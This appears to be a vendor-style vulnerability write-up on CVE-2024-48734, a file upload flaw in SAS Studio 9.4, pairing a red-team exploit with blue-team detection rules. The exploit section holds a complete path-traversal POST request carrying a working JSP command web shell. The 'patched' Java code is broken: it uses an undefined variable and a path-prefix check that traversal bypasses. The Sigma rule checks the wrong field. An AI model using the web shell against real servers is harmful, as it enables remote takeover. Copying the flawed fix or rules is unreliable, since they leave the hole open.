CVE-2024-48734

Executive Summary

CVE-2024-48734 describes an unrestricted file upload vulnerability in SAS Studio 9.4. The issue allows a remote attacker to upload malicious files via the /SASStudio/SASStudio/sasexec/{sessionID}/{InternalPath} endpoint. The vendor disputes this, stating that file upload is allowed for authorized users. However, the lack of proper validation on file types or content could allow an authenticated attacker to upload executable files (e.g., JSP, PHP, or shell scripts) leading to remote code execution. The CVSS score is 0.0, but this is likely due to the dispute; the actual risk is medium to high depending on authentication controls.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Disputed)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Medium (due to authentication requirement, but high impact if exploited)

Deep Dive & Mechanics

The vulnerability lies in the file upload functionality of SAS Studio 9.4. The endpoint /SASStudio/SASStudio/sasexec/{sessionID}/{InternalPath} accepts file uploads without proper validation of file type, content, or path traversal. An authenticated attacker can upload arbitrary files, including web shells or malicious scripts, to the server. The {sessionID} and {InternalPath} parameters are user-controllable, allowing directory traversal and overwriting of critical files. The vendor's dispute centers on the fact that only authorized users can upload files, but this does not mitigate the risk of privilege escalation or lateral movement.

Vulnerable vs. Patched Code

Vulnerable Code (SAS Studio 9.4): The file upload handler does not check file extensions or MIME types. It directly writes the uploaded file to the specified path.

// Vulnerable: No validation
String uploadPath = request.getParameter("InternalPath");
File uploadedFile = new File(uploadPath);
FileUtils.copyInputStreamToFile(fileInputStream, uploadedFile);

Patched Code (Hypothetical): A patched version would validate file extensions, MIME types, and restrict upload paths.

// Patched: Validate file extension and path
String uploadPath = request.getParameter("InternalPath");
if (!uploadPath.startsWith("/allowed/upload/dir/")) {
    throw new SecurityException("Invalid upload path");
}
String fileName = uploadedFile.getName();
if (!fileName.endsWith(".txt") && !fileName.endsWith(".csv")) {
    throw new SecurityException("Invalid file type");
}
FileUtils.copyInputStreamToFile(fileInputStream, new File(uploadPath));

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a vulnerable SAS Studio 9.4 instance in a lab environment.
2. Exploit Steps:
   • Authenticate to SAS Studio.
   • Craft a malicious JSP or PHP web shell.
   • Send a POST request to /SASStudio/SASStudio/sasexec/{sessionID}/../../webapps/ROOT/shell.jsp with the file content.
   • Access the uploaded shell via http://target/shell.jsp.
3. Example Request:

   POST /SASStudio/SASStudio/sasexec/abc123/../../webapps/ROOT/shell.jsp HTTP/1.1
   Host: target.com
   Content-Type: multipart/form-data; boundary=boundary123
   
   --boundary123
   Content-Disposition: form-data; name="file"; filename="shell.jsp"
   
   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = br.readLine()) != null) {
       out.println(line);
   }
   %>
   --boundary123--
   

Blue Team

1. Detection: Monitor for unusual file uploads to the /SASStudio/SASStudio/sasexec/ endpoint, especially with path traversal patterns (e.g., ../).
2. Prevention: Implement strict file type validation and restrict upload paths to a sandboxed directory.
3. Response: If a malicious file is detected, isolate the server, remove the file, and review logs for unauthorized access.

Indicators of Compromise (IOCs)

• File Paths: /SASStudio/SASStudio/sasexec/*/../../*
• File Names: shell.jsp, cmd.jsp, shell.php, cmd.php
• Network Patterns: POST requests to /SASStudio/SASStudio/sasexec/ with multipart/form-data content type.
• Log Entries: File uploaded to [path] where path contains ../ or is outside the expected directory.

Detection Engineering

YARA Rule

rule CVE_2024_48734_FileUpload {
    meta:
        description = "Detects malicious file upload attempts targeting SAS Studio 9.4"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "/SASStudio/SASStudio/sasexec/" ascii wide
        $s2 = "../" ascii wide
        $s3 = ".jsp" ascii wide
        $s4 = ".php" ascii wide
    condition:
        $s1 and ($s2 or $s3 or $s4)
}

Sigma Rule

title: CVE-2024-48734 SAS Studio File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file upload attempts to SAS Studio with path traversal
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/SASStudio/SASStudio/sasexec/'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate file uploads by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48734 SAS Studio File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/SASStudio/SASStudio/sasexec/"; http_uri; content:"../"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict access to the /SASStudio/SASStudio/sasexec/ endpoint to only trusted IPs or VPN users.
2. Short-term: Implement file type validation (whitelist allowed extensions) and path sanitization to prevent directory traversal.
3. Long-term: Upgrade to a patched version of SAS Studio when available. Monitor vendor advisories for official fixes.
4. Compensating Controls: Use a Web Application Firewall (WAF) to block requests containing ../ in the URI.

Valters IT
DevSecOps & Cyber Threat Intelligence